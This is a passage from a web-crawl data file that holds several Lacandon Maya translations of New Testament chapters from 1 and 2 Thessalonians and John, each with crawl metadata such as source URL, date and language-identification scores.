yʌnechexe'. 13 Ca' a qui' sʌjtex a cu beyajob tu yʌnechexe' quire' cu beyajob ti' C'uj. Rajen ca' a qui' yajquintex a cu beyajob ti' C'uj. Qui' qui' yajquintej. Bayiri' ca' a qui'quintex u yorob a wet acsʌ'orirex soc mʌ' u ts'ictarob.\n14 A tenobo' quin chich aricob techex in bʌjobechex, ca' a q'ueyex a mac a mʌ' c'or u beyaj, soc sac'or u bayaj. Ca' a chichquintiquex yor a mac a mʌna' yore'. Ca' a yamtex a mac mʌ' ju qui' acsa tu yore'. Mʌ' a yʌn choquintic a worex yejer a wet acsʌ'orirex soc mʌ' biquechex yejer a wet acsʌ'orirex.\n15 Qui' cʌnantex a bʌjex soc mʌ' a bʌbʌpʌquic a bʌjex yejer a rac'obex. Barej manenex tu tsoyir yejer a rac'obex ich yoc'ocab.\n16 Cax a ba' cu tar rajra' a qui'quintic a worex. 17 Rajra' a t'ʌniquex C'uj. 18 Cax wa ba' a berex. Arej ti' C'uj: \"Bayo'\", quex ti' C'uj, ta ts'aj ten C'uj. Quire' baxuc u c'at C'uj yubic a t'ʌniquex a ti'o'. U c'at C'uj a baxuc yubico' quire' a techexo' ta wacsex ta worex u t'ʌn Jesucristo.\n19 Mʌ' a yʌn tupsiquex yor u Taj'or u Pixam C'uj quire' ra' cu beyaj techex. 20 Mʌ' a yʌn p'astiquex a mac a cu tsec'tic u t'ʌn C'uj quire' yamta'b ten C'uj. 21 Tumtex a wirex wa tsoy tu cotor ba' soc a werex wa ti' u tar ich C'uj. Chen a tsoyo' ra' ca ch'iquechex, chen a mʌ' tsoyo', jot. 22 Toc rʌc p'ʌtex a c'aso'.\n23 A tenobo', quin t'ʌnicob C'uj a mac a cu yamtiquechex ca' qui'ac a worex. Baxuc xan, quin t'ʌnicob C'uj ca' u yamtechex C'uj soc mʌna' ba' ca tucriquex ta pixamex. Baxuc a winquirirex, soc mʌ' a wacsiquex a si'pirex hasta cu wʌc'ʌs ur ic Jaj Ts'urirex Jesucristo. 24 Mʌ' ja wirej, a C'ujo' u bʌjiri' pʌyo'onexe', rajen cu yajquintico'onex. Rajen a C'ujo' taj cu ya'aric to'onex: Je' u ta'quico'onexe'.\nA Pablojo' cu t'ʌnic tu cotor mac\n25 T'ʌnex C'uj ten in wet acsʌ'orirechexob baxuc xan in wet beyajob.\n26 Rʌc t'ʌnex a bʌjex. Qui' t'ʌnex a bʌjex.\n27 A je' ju'una' quin chich aricob techex quir a xaquiquex tu ca much'quintiquex a bʌjex soc u yubicob a wet acsʌ'orirex. Toc xaquex yubob a wet acsʌ'orirex. Ra' quin wacob techex quire' C'uj cu yiric.\n28 Ca' xiquechex ta beyajex ca' u qui' cʌnan techex ic Jaj Ts'urirex Jesucristo. Jeroj ts'oquij, quij Pablo.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/lacNT\/1TH05.htm","date":"2022-01-25T14:17:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304835.96\/warc\/CC-MAIN-20220125130117-20220125160117-00184.warc.gz","language":"lac","language_score":1.0000029802,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"lac_Latn_score\": 1.0000029802322388}","num_words":901,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.285,"stopwords_ratio":0.431,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3\nYʌn t'ʌnex C'uj soc u yamtiquenob\n1 Ti' yʌn u jer in t'ʌnob quir in wacob techex in bʌjobechex. Yʌn t'ʌnex C'uj soc u yamtiquenob C'uj soc seb u c'uchur u t'ʌn ic Jaj Ts'urirex ich tu cotor mac ich yoc'ocab. T'ʌnex C'uj soc u c'ʌmicob u t'ʌn C'uj irechex caj a c'ʌmex. Mʌ' ja wirej, ta qui' acsex ta worex quire' tan a qui' quibiquex. 2 Yʌn t'ʌnex C'uj xan, soc u taquiquenob ti' a mac a cu chuquicob in pachob. Mʌ' ja wirej, tu cotor mac mʌ' ju bin u yacsob tu yorob u t'ʌn C'uj. 3 C'ʌ'otex a Jaj Ts'uro', rajra' ti' yʌn quir u yamtico'onex. Raji' je' u chichquintic a worex. Raji' je' u cʌnantiquechex soc mʌ' u chuquiquechex a quisino'. 4 A tenobo' in werob quire' ic Jaj Ts'urirex tan u yamtiquechex. Rajen c'ucha'an a worex a qui'quibex a ba' tin camsob techex uch. Cax wa baje'rer cax wa ju jer q'uin. 5 Quin t'ʌnicob C'uj techex soc a najtiquex bic tabar u yajquintechex C'uj. Baxuc quin t'ʌnicob C'uj techex soc a muc'tiquex an ten bic Jesús caj u muc'taj uch.\nCa' chich beyanʌco'onex\n6 Baje'rer, in bʌjobechex quin chich aricob techex ca' a p'ʌtex tu junʌn tu cotor a bʌjobex, a mʌ' c'or beyajo'. Mʌ' a t'ʌniquexi'. Quin wacob techex aro' quire' baxuc u c'at ic Jaj Ts'urirex Jesucristo. Ca' a p'ʌtex tu junʌn xan, quire' mʌ' ju quibaj a ba' tin camsob techex uch a ti' yʌnenob ta wicnʌnex. Caj in wa'arob techex ca' chich beyanʌquechex. 7 Mʌ' ja wirej, a techexo' a werex ca' a toc cʌnex bic chich beyajob an ten biquenob uch. Mʌ' ja wirej, chich beyanʌjenob uch, caj ti' yʌnenob ta wicnʌnex uch. 8 Mʌ' jin jantob yo'och winiqui' wa mʌ' jin bo'otobi'. Jach chich beyanʌjenob, jach q'uic'abnʌjenob tu quin beyajob. Cax a'ac'bir, cax chun q'uin tin beyajob soc mʌ' in xupic a taq'uinex quir a jansiquenob uch. 9 Cax tsoy quir in c'aticob techex, quir a wacsenobex uch chen mʌ' jin c'atob quir a jansiquenobex. Quire' in c'atob a cʌniquenob an ten bic in beyajob xan soc tsoy a beyajex xan. 10 Mʌ' wa ja c'ʌ'otex uch ti' yʌnenob ta wicnʌnex caj in chich arob techex: A mac a mʌ' ju beyaj bayiri' xan mʌ' ju yʌn janʌn xan. 11 Aro' quin wa'aricob techex quire' tin wu'yob u juminta'r chʌc yʌn winic tu yʌnechex mʌ' tan u beyajob. Chen bur u q'uinin man u ca'ob, tan ya'aricob ba' u ber ich u rac'ob. 12 A rayo' a cu manobo' ca' in chich arob ti'ob ca' u sar u xiquinob a ba' quin wac ti'ob. Mʌ' chen tenob cu ya'aric, Jesucristo ic Jaj Ts'urirex cu ya'aric xan: Ca' beyanʌcob soc mʌ' u chen manob u jumintej wa tabar u tar Cristo. Arex ti'ob ca' beyanʌcob soc yʌn yo'ochob xan.\n13 In bʌjobechex mʌ' u ca'anan a worex a betex a ba' jach tsoy. 14 Wa ti' yʌn winic ta wicnʌnex a cu ma'quintic u quibej a ba' tin ts'ibtob ich a je' ju'una'. Irex maqui', tun mʌ' a t'ʌniquex soc u ch'ic suraquir. 15 Mʌ' a yʌn p'actiquex a ti'o' chen arex ca' u sar u xiquin yub u t'ʌn C'uj. Mʌ' ja wirej, raji' a wet acsʌ'orirex xan.\nCu ts'ocar u t'ʌn Pablo\n16 In c'atob ca' u qui'quint a worex ic Jaj Ts'urirex soc mʌna' ba' ca tucriquex. Cax rajra' cu qui'quintic a worex wa ba' a berex. In c'atob soc rajra' ti' yʌn Jaj Ts'ur ta wicnʌnex.\n17 A teno' Pablojen, tan in jach ts'ibtic a je' jun xot' ju'una'. Tin ts'ibtaj quir in t'ʌniquechex. A je'ra' in ts'ib soc yer mac tu cotor u tajir quin ts'ibtic. Baxuco' quin ts'ibtic. 18 Baxuc in c'atob ca' u qui' cʌnantechex ic Jaj Ts'urirex ta wicnʌnex. Jeroj, quij Pablo, ts'oquij.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/lacNT\/2TH03.htm","date":"2022-01-19T14:00:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320301341.12\/warc\/CC-MAIN-20220119125003-20220119155003-00359.warc.gz","language":"lac","language_score":0.9999991655,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"lac_Latn_score\": 0.9999991655349731}","num_words":614,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.279,"stopwords_ratio":0.391,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nJesús caj bin yirej u ch'ic u rac' mac\n1 Caj manij mʌna' u nup u q'uinin caj ts'oc yiric Natanael yejer Felipe. Yʌn mac cu bin u ch'ic u rac' ich u cajar Caná ra' u wa'an u ru'umin Galilea. Ti' yʌn xan u nʌ' Jesús, tar yiric u ch'ic u rac' mac. 2 Caj pay u camsʌwinicob Jesús caj yirajob u ch'ic u rac' mac. Yet payac Jesús. 3 Ti' toy yʌn Jesús tu cu bin u ch'ic u rac' mac caj xup u c'ab uva. Caj ara'b ti' Jesús ten u nʌ':\n―Xup u c'ab uva. Biquinin mʌ' a yamtic ti'ob?\n4 Jesús caj ya'araj:\n―In nʌ'ech ―quij Jesús―, biquinin ca wa'aric ten xup? Mʌ' toy jach c'uchuc tu q'uinin soc in wesic in muc'.\n5 U nʌ' Jesús caj u ya'araj ti' u c'urewob a mac cu bin u ch'ic u rac':\n―Quibex a ba' cu ya'aric techex.\n6 Ti' t'ana'ani' u yajaw p'urir yoch ja', u cuchir tu cu t'ajic yoch ja' soc ti' cu p'o'icob u c'ʌb. Baxuc ti' cu p'o'icob yoc. Quire' baxuc u p'urir cu ch'ic ochenta litros yoch ja'. 7 Jesús caj ya'araj ti' u c'urewob a mac a cu bin u ch'ic u rac':\n―Toc chupex ya'arir a je' t'ana'an u p'urir yoch ja'.\nTu toc chupaj u ya'arir u jor u p'urir. 8 Jesús caj u ya'araj ti'ob:\n―Jopex ca' xiquex a purex ti' yirej yʌjt'ʌjir a wo'ochex.\nCaj binob u purej ti'. 9 Yʌjt'ʌjir yoch caj u tumtaj ja' a waysa'b u c'ab uva. Chen mʌ' yer tub u tar ya'arir u c'ab uva. Chen u c'urewob yerob chen ja' ca'ch caj u jopajob. Rajen u yʌjt'ʌjir yo'och caj u t'ʌnaj a mac a cu ch'ic u rac'. 10 Yʌjt'ʌjir yo'och caj ya'araj ti':\n―A rac'ob ―quij―, raji' cu bat'an ts'ic a jach tsoy u c'ab uva. Cu ts'ocar u yuq'uicob ya'ab u c'ab uva, cu ts'ic ti' u rac'ob u c'ab uva, a mʌ' quet yejer a tsoyo'. Chen tech ta ric'saj u c'ab uva a jach tsoyo' hasta baje'rer.\n11 Baxuc caj u betaj Jesús ich u cajar Caná, ra' u wa'an u ru'umin Galilea. Raji' u yʌnxchun u carem beyaj soc yesic ti' u rac'ob u winiquirob judío jach yʌn u muc' C'uj. Rajen u camsʌwinicob caj u yacsob tu yorob ti' quire' yerob u parar C'uj.\n12 Caj ts'oc aro' caj binob ich u cajar Capernaum. Jesús yejer u nʌ' yejer yits'inob yejer u camsʌwinicob. Chen mʌ' ya'ab u q'uinin ti' p'atob ich u cajar Capernaum.\nJesús cu joc'sic mac a cu canicob ba' ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío\n(Mt. 21.12‑13; Mr. 11.15‑18; Lc. 19.45‑46)\n13 Tabar u c'uchur tu q'uinin u qui'qui' janʌnob u q'uinin pascua. Ra' u q'uinin u winiquirob judío quire' na'nij u c'ʌ'oticob quire' baxuc caj potmasta'b u winiquirob judío ich u ru'umin Egipto ten yʌjmasir u t'ʌn C'uj uch. Caj bin Jesús yejer u camsʌwinicob ich u cajar Jerusalén. 14 Caj bin Jesús tu re'a'an carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. Ti' tu yiraj mac ich carem naj. A mac cu canicob yʌrʌc' wacʌx a tono' yejer tʌmʌn yuc yejer susuj. Rʌc ti' yʌnob tu re'a'an carem naj. Caj irir xan ti' cura'an yʌjc'axir u taq'uin soc u c'oxar u taq'uin a mac a cu tar nach. 15 Rajen caj u cʌxtaj sum soc u jit'ic quir u jats'ʌr u pachob. Caj u rʌc joc'saj ich carem naj tu cotor a mac a cu canicob yʌrʌc' tʌmʌn yuc yejer yʌrʌc' wacʌx a tono'. Baxuc a mac cu c'axicob u taq'uinob mac caj u rʌc wec u taq'uinob yejer u pojche'irob u taq'uinob. 16 Jesús caj u ya'araj ti' a mac a cu canic susuj:\n―Toc rʌc joc'sex a wʌrʌc' susuj. Quire' raji' yatoch in Tet, mʌ' a c'axiquex irej tu cu naj co'nan ba'.\n17 Caj u yirob ba' tu betaj Jesús, rajen c'aj ti' u camsʌwinicob Jesús a ba' ts'iba'an ich u t'ʌn C'uj uch: \"Quire' q'uex in wor ti' yatoch C'uj rajen cu bin u p'actiquen mac.\" Baxuc ara'b ich u t'ʌn C'uj uch.\n18 U jach ts'urirob sacerdote caj u c'atob ti' Jesús tan ya'aricob:\n―Mac caj u ts'aj a beyaj quir a joc'sic mac a cu canicob ba' ich carem naj? Ese tenob carem beyaj soc in werob mac caj u ts'aj a beyaj.\n19 Jesús caj ya'araj ti'ob:\n―Jubse a je' carem naja' ca' bin c'uchuc mʌna' u nup u q'uinin, quin bin in ca' ric'sej u jer ric'ben.\n20 U jach ts'urirob sacerdote caj ya'arob:\n―Yʌn cuarenta y seis yaxq'uin caj ts'oc u ts'ʌpquintic u tunichir quir u ts'ocsicob a je' carem naja'. Bic tabar tech ca' bin a ric'sic mʌna' u nup u q'uinin?\n21 Jesús tan u tsicbar ti' u winquirir, mʌ' cu ya'aric jach carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. 22 Rajen caj riq'uij Jesús ich u quimirir. U camsʌwinicob c'aj ti'ob a ba' ara'b ti' u jach ts'urirob sacerdote ten Jesús. Ra'iri' u q'uinin caj u quibob u t'ʌn C'uj tu ts'iba'an tan ya'aric: \"Je' u ca' riq'uir tu quimirir.\" Rajen yerob taj u camsʌwinicob a ba' ara'b ti' u jach ts'urirob sacerdote ten Jesús.\nJesús yer ba' cu tucricob tu cotor mac\n23 Ti' p'at Jesús yejer u camsʌwinicob ich u cajar Jerusalén hasta caj ts'oc u man u q'uinin pascua. Ya'ab mac caj u yacsaj tu yor quire' yerob yʌjtaquirob quire' yirob u carem beyajob Jesús. 24 Quire' Jesús yer ba' cu tucric tu cotor mac rajen yer mac mʌ' quet yor yejeri'. 25 A Jesúso' mʌ' ba'wir cu tar ya'aric ti' bicyʌra' mac quire' Jesús u toc er bicyʌra'.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/lacNT\/JHN02.htm","date":"2022-01-19T14:19:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320301341.12\/warc\/CC-MAIN-20220119125003-20220119155003-00576.warc.gz","language":"lac","language_score":1.0000056028,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000056028366089}","num_words":919,"character_repetition_ratio":0.077,"word_repetition_ratio":0.008,"special_characters_ratio":0.295,"stopwords_ratio":0.484,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"7\nU yits'inob Jesús mʌ' ju yacsob tu yorob ti'\n1 Pachir caj bin Jesús ich u ru'umin Galilea quire' mʌ' u c'at u bin ich u ru'umin Judea quire' u ts'urirob u winiquirob judío u c'at u quinsicob Jesús. 2 Tabar u c'uchur tu q'uinin u qui' janʌnob u winiquirob judío ra' u q'uinin cu c'ʌxicob paser an ten bic ara'b ten C'uj uch. 3 Rajen ara'b ti' Jesús ten u yits'inob:\n―Mʌ' a p'atʌr tera' ca' xico'on ich u ru'umin Judea. Soc a camsʌwinicob ca' bin u yirob a carem beyaj tu q'uinin u qui'qui' janʌnob u winiquirob judío soc yerob C'uj tu ts'aj a beyaj tech. 4 Quire' mʌna' mac cu muc u beyaj wa ju c'at u yeticob tu cotor mac u beyaj. Joq'uen es a bʌj ti' a pimob wa ca beyaj ti' C'uj.\n5 Cax raji' yʌjtaquirob mʌ' ju yacsob tu yorob u yits'inob Jesús. 6 Jesús caj ya'araj ti' u yits'inob:\n―Mʌ' c'uchuc tu q'uinin ten quir in bin ich u cajar Jerusalén quir in qui'qui'janʌn. Chen techex xenex wa ja c'at a binex. 7 Rajen, mʌ' ja wirej, a mac ti' yʌn ich yoc'ocab mʌ' ju p'actiquechex a techexo', chen a teno' cu p'actiquenob quire' quin wa'aric ti'ob c'as cu beticob. 8 Xenex ta qui'qui' janʌnex ich u cajar Jerusalén. Quire' a teno' mʌ' c'uchuc tu q'uinin in bin hasta cu c'uchur tu q'uinin jeroj quin bin.\n9 Caj ts'oc ya'aric mʌ' ju bin, ti' p'at Jesús ich Galilea yejer u camsʌwinicob.\nJesús cu bin ich u cajar Jerusalén u q'uinin cu c'ʌxicob paser quir u qui'qui' janʌnob\n10 Caj ts'oc u binob u yits'inob Jesús ich u cajar Jerusalén quir u qui'qui' janʌnob caj bin Jesús yejer u camsʌwinicob. Mʌ' bin yejer u rac'ob chen tu junan yejer u camsʌwinicob caj bin, quire' mʌ' u c'at u yesic u bʌj ti' a pimob. 11 U ts'urirob sacerdote tan u cʌxticob Jesús u q'uinin cu qui'qui' janʌnob u winiquirob judío. Tan u c'aticob:\n―Tu' yʌn? ―quijob.\n12 Mʌ' ja wirej, a pimob rajra' cu tsicbarob ti' Jesús. Yʌn mac tan ya'aricob: \"Jach tsoy a Jesúso'.\" Chen yʌn u jerob cu ya'aricob: \"Bic tabar jach tsoy. Quire' cu tusaric ti' mac.\"\n13 Quire' cu sʌjticob u ts'urirob sacerdote. Rajen cu manob u muc u aricob Jesús.\n14 Caj c'uchij chumuc u q'uinin u qui'qui' janʌnob Jesús caj bin ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío caj u yʌnxchun u camsic. 15 Caj jaq'uij yorob a pimob, rajen tu ya'arob:\n―Bic tabar ij quet winquirir caj u cʌnaj quire' mʌna' mac tu camsaj chen u ne'er u camsa'?\n16 Jesús caj u nuncaj ti'ob tan ya'aric:\n―Mʌ' ra' in t'ʌn a quin camsic techex. Raji' u t'ʌn in Tet a mac tu tuchi'ten. 17 Wa mac u c'at ca' u betej a ba' C'uj u c'at. Cu bin ts'abir u najtic ich u t'ʌn C'uj tu' quin camsic wa raji' cu tar ich C'uj wa chen in bʌjiri' in t'ʌn quin camsic. 18 A mac a cu camsic u bʌjiri' u t'ʌn tan u cʌxtic soc sʌjta' ten mac. A teno' tan in cʌxtic ca' a sʌjtex a mac a tu tuchi'tajen. Rajen mʌ' tan in tusariquex, taj a ba' quin wac techex.\n19 'Moisés caj u tsec'taj techex uch a ba' tu toc araj C'uj uch. Chen techex mʌ' turiri' tan a quibiquex a ba' caj u ya'araj Moisés uch quire' wa ta quibajex, mʌ' ja tsicbʌtiquex a c'atex a quinsiquenex.\n20 A pimob caj u nuncob tan ya'aric:\n―Aca'an quisin tech, mac u c'at u quinsiquech?\n21 Jesús caj ya'araj:\n―A teno' tin jawsa mac turiri', u q'uinin ca jesiquex a bʌjex, raji' tu jac'saj a worex. 22 Moisés caj u ts'aj u t'ʌnin quir a ts'iriquex a pararex xib tu cu wix. Mʌ' Moisés tu yʌn a'raji', chen a nunquirex, raji' tu yʌn a'raj. Rajen cax u q'uinin ca jesiquex a bʌjex ca ts'iriquex a chan pararex xib. 23 Tsoy ca' quibiquex u t'ʌn Moisés tu cu ya'aric: \"Ts'irej a chan pararex xib.\" Cax tu q'uinin ca jesiquex a bʌjex ca' ts'iric. Rajen biquinin ca p'actiquenex ca wiric in jawsic mac u q'uinin ca jesiquex a bʌjex. 24 Mʌ' tsoy wa sep ca ta'quiquex u jo'r mac. Ca' a qui' tucrex wa taj tan u betic c'as mac.\nJesús cu tsicbar tu cu tar\n25 A mac a ti' cʌja'anob ich u cajar Jerusalén caj ya'arob:\n―A je' xiba' mʌ' wa raji' tu cʌxticob u quinsej. 26 Iric ti' yʌn. Mʌ' tu mucra'r tu ya'araj ich tu cotor mac. U jach ts'urirob sacerdote mʌna' ba' caj u ya'arob ti'. Jaj ix tʌco' tan u quibicob raji' Cristo a cu taro'. 27 A to'onexo' ij querex tub u tar a ra xibo'. Chen ca' bin tac a Cristojo' ij cʌjtaquirex mʌna' mac yer tub u tar ―baxuc caj ya'araj a mac cʌja'anob ich u cajar Jerusalén.\n28 Rajen Jesús caj u c'am araj tu cu camsic ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. Caj u ya'araj ti' a pimob:\n―Ca tucriquex a werenex. Ca tucriquex a werex tub in tar. In wʌc'ʌs bʌjiri' mʌ' taren chen a mac jach tajo', raji' tu tuchi'tajen. Chen a techexo', mʌ' a werex maqui' a tu tuchi'tajen. 29 A teno' ―quij Jesús―, in wer quire' ti' in tar tub yʌni'. Quire' raji' tu tuchi'tajen.\n30 Rajen u c'atob u chuquicob Jesús quir u bin u mʌquicob tu cu ma'cʌr winic. Mʌ' c'ucha'an yorob u chuquejob Jesús quire' mʌ' c'uchuc tu q'uinin cu chuquicob quir u mʌquicob. 31 Yʌn ya'ab mac tu yacsob tu yorob ti' quire' yerob yʌjtaquirob. Caj ya'arob:\n―A je' xibo' jach manan carem u beyaj caj u yesaj to'onex an ten bic cu ya'aric cu bin u betej Cristo ca' bin tac. Rajen ij querex raji' Cristo.\nA fariseosjo' caj u tuchi'tajob policía quir u chuquicob Jesús\n32 A fariseojo' caj yubob ya'aric a mac tu yacsob tu yor ti' Jesús. Tu yubob ya'aricob a Jesúso':\n―Raji' Cristo a cu bin tar.\nRajen a fariseojo' yejer u jach ts'urirob sacerdote caj u tuchi'tajob u policía a cu beyajob ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío quir u chuquicob Jesús quir u mʌquicob. 33 Jesús caj ya'araj ti' a pimob:\n―Mʌ' ya'ab u q'uinin quin p'atʌr tub yʌnechex quire' bin in ca' tub yʌn a mac a tu tuchi'tajen. 34 Quire' a techexo' ca bin a cʌxtiquenex chen mʌ' ja bin a wirenexi'. Quire' a tu quin bino' mʌ' c'ucha'an a worex a tarex.\n35 U winiquirob judío tan u pacran tsicbarob tan ya'aricob:\n―Tub u wich u bin cu ya'aric mʌ' ic yʌnyʌn iric? Ti' wa cu bin ich ij quet winquirirob judío a tar yʌnob tantanxer ich u ru'umin u winiquirob griego? U tiri' cu bin u camsic u winiquirob griego.\n36 Caj ya'arob:\n―Ba' u c'at ya'aric to'onex a tu ya'araj to'onex: \"Ca bin a cʌxtenex chen mʌ' ja bin a wiriquenex quire' a tu quin bino' mʌ' c'ucha'an a worex a tarex\"? ―baxuc cu pacran tsicbarob u winiquirob judío.\nA cu yacsic tu yor u t'ʌn C'uj rajra' cu bin joc'ar tsoy tu pixam\n37 U q'uinin a jach no'jo' ra' u q'uinin quir u ts'ocsic u qui'qui' janʌnob u winiquirob judío. Ra'iri' u q'uinin caj riq'uij caj ch'icrʌj Jesús caj u c'am araj ti' a pimob, tan ya'aric:\n―Wa mac cu yuc'chʌjʌr, arej ca' tac ten quir u yuc'ur. 38 Mʌ' ja wirej, a mac a cu yacsic tu yor ten, je' u yʌn tar tu pixam an ten bic yic' ja' cu bosirancʌr a cu ts'ic u cuxtar a ricbeno' quire' baxuc cu ya'aric ich u t'ʌn C'uj ―baxuc cu tsicbar Jesús.\n39 Mʌ' ja wirej, cu tsicbar ti' u Taj'or u Pixam C'uj a cu bin ts'abir ti' a mac a cu yacsic tu yor ti'. U Taj'or u Pixam C'uj mʌ' taqui' quire' mʌ' toy xic Jesús ich ca'anan.\nMʌ' quet yorob u winiquirob judío\n40 Ti' yʌn mac tu' yʌn Jesús caj yubob ya'aric baxuc aro' caj u ya'arajob:\n―Aro' jach jaj yʌjtseq'uir u t'ʌn C'uj a tij cu'yajex ya'ara' yʌn u tar.\n41 Chen yʌn mac jujuntur tan ya'aricob:\n―Raji' a jera' Cristo yʌjtaquir mac tu cotor.\nTi' yʌn mac jujuntur tan ya'aricob:\n―A Cristojo', mʌ' u bin tar ich u ru'umin Galilea. 42 Quire' cu ya'aric ich u t'ʌn C'uj tu' ts'iba'an: \"A Cristojo' a ca' bin taco' ti' cu bin rochbir ten u nʌ' ich u cajar Belén quire' David, raji' u ch'ic sucu'un Cristo. Ti' cu bin rochbir ten u na' Cristo quire' ti' rocha'b u ch'ic sucu'un ten u na'.\"\n43 Rajen mʌ' quet yorob a pimob ti' Jesús. 44 Yʌn mac u c'atob u chuquicob quir u mʌquicob. Chen mʌna' mac tu chucajob.\nU jach ts'urirob u winiquirob judío mʌ' ju yacsicob tu yorob ti' Jesús\n45 Caj urob a policíajo' a cu beyajob ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. Caj c'uchob ti' yʌnob u jach ts'urirob sacerdote yejer a fariseojo'. Caj c'ata'b ti'ob ten u jach ts'urirob:\n―Biquinin mʌ' ta chuquexi'?\n46 Caj u nuncob a policíajo' tan ya'aricob:\n―Mʌna' mac cu tsicbar baxuc a tar yʌn xibo'.\n47 A fariseojo' caj ya'arob:\n―U tus a'bar techex xan? 48 Mʌ' ja wirej, mʌna' u ts'urirob u winiquirob judío tu yacsaj tu yor ti'. Baxuc a tenobo' u winiquirenob fariseo, mʌ' tin wacsajob tin worob ti'. 49 Chen a pimob tu yacsob tu yorob tub much'a'anob. Robob jach chichob u jo'r. Mʌ' yerob a ba' ts'iba'an ich u t'ʌn C'uj, toc rʌc satob.\n50 Ti' yʌn Nicodemo a cu bin tsicbar yejer Jesús uch. Ac'bir caj binij. Raji' turiri' u ts'urir u winiquirob judío. Caj u ya'arajob ti' u yet winiquirob fariseo:\n51 ―Mʌ' c'ucha'an ij corex ic ts'iquex u muc'yaj mac wa mʌ' toy ij cu'yex u t'ʌn wa mʌ' tij quirex ba' u si'pir yʌn ti', quire' baxuc cu ya'aric u t'ʌn Moisés.\n52 Robob caj u nuncajob ti' tan ya'aricob;\n―A techo' irech a mac a cu tar ich u ru'umin Galilea. Xaquej a wirej tu' ts'iba'an ich u t'ʌn C'uj. Mʌ' ja bin a wirej, cu ya'aric u tar turiri' yʌjtseq'uir u t'ʌn C'uj ich u ru'umin Galilea.\nA xquico' a nanij cu man tu c'asir\n53 Jujuntur u ts'urirob u winiquirob judío caj rʌc binob tu yatoch.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/lacNT\/JHN07.htm","date":"2022-05-28T08:02:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663013003.96\/warc\/CC-MAIN-20220528062047-20220528092047-00021.warc.gz","language":"lac","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000051259994507}","num_words":1676,"character_repetition_ratio":0.077,"word_repetition_ratio":0.014,"special_characters_ratio":0.283,"stopwords_ratio":0.5,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"16\n1 'Quin toc aric techex a jera' soc mʌ' a p'ʌtiquex in t'ʌn pachir quire' a werex mac cu p'actiquex. 2 Robob cu bin u joc'siquechex tu cu naj c'ujinticob C'uj u winiquirob judío. Je' u c'uchur tu q'uinin xan je' u quinsiquechex xan quire' cu tus tucricob wa quet u beyaj C'uj a cu beticob. 3 Baxuc cu bin u beticob techex quire' mʌ' yerob in Tet C'uj. Baxuc ten xan mʌ' yerenobi'. 4 Mʌ' ja wirej, quin toc aric techex aro' baje'rer soc ca' bin c'uchuc tu q'uinin cu chuquicob a pachex ca bin a c'ʌ'otiquex a ba' caj in toc araj techexe'.\nU Taj'or u Pixam C'uj cu bin u tsec'tic ti' to'onex Jesús\n'Caj in yʌn tetajechex uch mʌ' jin toc araj techex quire' ti' toy yʌnen yejerechex. Mʌ' ju bin u tar ti' techex aro' hasta ca' bin xiquen. 5 Jesús caj ya'araj ti' u camsʌwinicob. Baje'rer bin in ca' ich in Tet C'uj a mac tu tuchi'tajen. Mʌna' turiri' techex a c'atmʌnex ten biquinin ca bin. 6 Jach yaj tan a wu'yiquex quire' tucur a ca'ex quire' tin wa'araj techex bin in ca' ich in Tet. 7 Quire' taj quin wac techex. Jach tsoy ti' techex ca' xiquen ich in Tet C'uj. Quire' wa mʌ' jin bin mʌ' ju tar u Taj'or u Pixam C'uj. Chen wa ca' bin xiquen je' in tuchi'tic techex u Taj'or u Pixam C'uj. 8 Ca' bin tac u Taj'or u Pixam C'uj je' u yesic soc chʌca'an yiric tu cotor mac ich yoc'ocab yʌn u si'pirob. Baxuc xan, je' u yesic mac soc chʌca'an yiricob bic tabar u cuxtaro', a jach tajo'. Baxuc xan je' u yesic soc chʌca'an yiric cu bin u jʌsbir ti'ob. 9 Je' u yesic soc chʌca'an yiric yʌn u si'pirob quire' mʌ' tu toc acsajob tu yorob ten quire' ten quin taquicob. 10 Je' u yesic mac a cuxtaro' a jach tajo' an ten bic caj cuxrajen ich yoc'ocab quire' mʌ' c'ucha'an yorob yiriquenob quire' ca' bin ts'ocac in beyaj bin in ca' ca'anan. 11 Je' u yesic soc chʌca'an yiric C'uj cu bin jʌsbirob quire' toc jʌsa'anob ten C'uj quir u binob muc'yajob munt q'uinob.\n12 'Yʌn toy ya'ab quir in camsiquechex chen mʌ' c'ucha'an a worex a najtiquex baje'rer. Quire' mʌ' toy c'uchuc tu q'uinin quir a najtiquexi'. 13 Ca' bin tac u Taj'or u Pixam C'uj cu bin u camsiquechex tu cotor a ba' jach tajo'. Mʌ' ju bin u tsicbar techex u wʌc'ʌs bʌjiri' u t'ʌn. Ra' cu bin u tsicbar techex a ba' ara'b ten in Tet C'uj. Je' u tsicbar ti' techex a ba' cu bin tar ich yoc'ocab. 14 Je' u tsicbar techex soc a sʌjtiquenex quire' ra' u beyaj u 